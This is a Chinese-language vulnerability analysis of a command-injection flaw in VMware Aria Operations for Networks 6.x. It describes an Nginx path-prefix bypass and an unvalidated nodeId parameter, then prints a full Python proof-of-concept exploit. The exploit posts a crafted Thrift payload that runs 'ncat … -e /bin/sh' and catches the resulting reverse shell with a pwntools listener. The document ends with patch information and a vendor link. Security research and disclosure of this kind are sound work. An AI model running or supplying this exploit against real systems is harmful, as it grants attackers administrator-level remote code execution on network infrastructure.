VMware Aria Operations for Networks (以前称为vRealize Network Insight,vRNI)是一款网络可视性和分析工具,可以帮助管理员优化网络性能或管理和扩展各种VMware和Kubernetes部署。
对?VMware Aria Operations for Networks 具有网络访问权限的威胁者可以通过执行命令注入攻击,从而导致远程代码执行。
VMware Aria Operations Networks版本:6.x
攻击者利用两个漏洞:Nginx 的错误配置以及由于用户输入校验不当导致的命令注入
Aria Operations 使用 Nginx 配置的 Apache Thrift RPC 服务的反向代理。查看 /etc/nginx/sites-enabled 中的 Nginx 配置信息,可以看到对 /saasresttosaasservlet 的访问会被限制。也就是说,Nginx 反向代理只接受来自 localhost 的网络流量,然后将该流量重定向到本地 9090 端口上运行的服务。
攻击者找到了方法绕过这个限制。 Nginx 接受对前缀为 /saas 的任意请求,覆写此处即可将其重定向到本地端口 9090。
这意味着攻击者对 /saas./resttosaasservlet 的请求将会被覆写并允许在本地 9090 端口访问 /./resttosaasservlet。
但在此之前,首先要确认无法从 localhost 以外的 IP 地址直接访问 /saasresttosaasservlet。尝试访问该地址时会收到 403 Forbidden 的响应信息。
再次从 localhost 以外的 IP 地址针对 /saas./resttosaasservlet 发出请求,已经能够访问。图中的失败显示 500 Internal Server Error 是因为相应的 Servlet 无法处理,但实际上并不是完全没有办法了。
针对 /saas./resttosaasservlet 的请求会被重定向到本地 9090 端口,可以查看本地 9090 端口上运行什么服务。
进程 ID 为 8480 的 Java 进程正监听本地 9090 端口。通过 ps 命令,可以查看该进程的详细信息。可以发现进程是从 /home/ubuntu/build-target/saasservice/ 处执行 saasservice-0.001-SNAPSHOT.jar 的。
反编译该 Jar 文件后,就可以发现 /resttosaasservlet 的响应由 Rest-saas 通过 ManagementEndpointServlet() 函数进行处理。
在 ManagementEndpointServlet() 中会调用 RestToSaasCommunication.Processor(),这也是在 RestToSaasCommunication 类中进行定义的。
RestToSaasCommunication 类具有多个函数。每个进程映射到 RestToSaasCommunication 类支持的函数,主要查看 createSupportBundle() 的内部实现。
在 createSupportBundle() 中包含四个参数:customerId、nodeId、requestId 和 evictionRequestIds。
用户传递的四个参数中,可以看到参数 nodeId 的值被传递给了 evictPublishedSupportBundles()。
evictPublishedSupportBundles() 在将参数传递给 Shell 脚本前,不会对其进行校验。将特定的 Payload 作为 nodeId 参数传递,就可以实现以管理员权限在 Shell 中执行任意命令。
Poc:
#!/usr/bin/python3
import requests
import argparse
import json
from pwn import *
requests.packages.urllib3.disable_warnings()
def exploit(target,localhost,localport):
url = f'{target}/saas./resttosaasservlet'
headers = {
'Accept': 'application/json, text/javascript, */*; q=0.01',
'X-Requested-With': 'XMLHttpRequest',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36',
'Content-Type': 'application/x-thrift',
}
# revshell = f'mknod /tmp/pipe p;/bin/sh 0</tmp/pipe | nc {localhost} {localport} 1>/tmp/pipe'
revshell = f'ncat {localhost} {localport} -e /bin/sh'
payload = """[1,"createSupportBundle",1,0,{"1":{"str":"1111"},"2":{"str":"`"""+revshell+"""`"},"3":{"str":"value3"},"4":{"lst":["str",2,"AAAA","BBBB"]}}]"""
try:
response = requests.post(url, headers=headers, verify=False, data=payload, timeout=3)
except:
pass
def get_external_ip():
endpoint = 'https://ipinfo.io/json'
response = requests.get(endpoint, verify = True)
if response.status_code != 200:
return 'Status:', response.status_code, 'Problem with the request. Exiting.'
exit()
data = response.json()
return data['ip']
if __name__ == "__main__":
## parse argument
parser = argparse.ArgumentParser()
parser.add_argument("-t", "--target", action="store", help="Target url, http://localhost:9000", default=False, required=True)
parser.add_argument("-l", "--localhost", action="store", help="Local IP address for reverse shell", default=False)
parser.add_argument("-p", "--localport", action="store", help="Local port for reverse shell", default="443")
args = parser.parse_args()
if args.target is not False:
if args.localhost is False:
# get external ip address for listener
try:
args.localhost = get_external_ip()
except:
print("Not able to get external IP address")
sys.exit(1)
# running listener
l = listen(args.localport)
# sending exploit payload
exploit(args.target,args.localhost,args.localport)
# waiting for a reverse connection
try:
s = l.wait_for_connection()
s.interactive()
except:
pass
finally:
l.close()
else:
parser.print_help()
parser.exit()
目前VMware已经发布了这些漏洞的补丁,Aria Operations for Networks 6.2、6.3、6.4、6.5.1、6.6、6.7、6.8、6.9、6.10版本用户可及时安装补丁。
下载链接:
https://kb.vmware.com/s/article/92684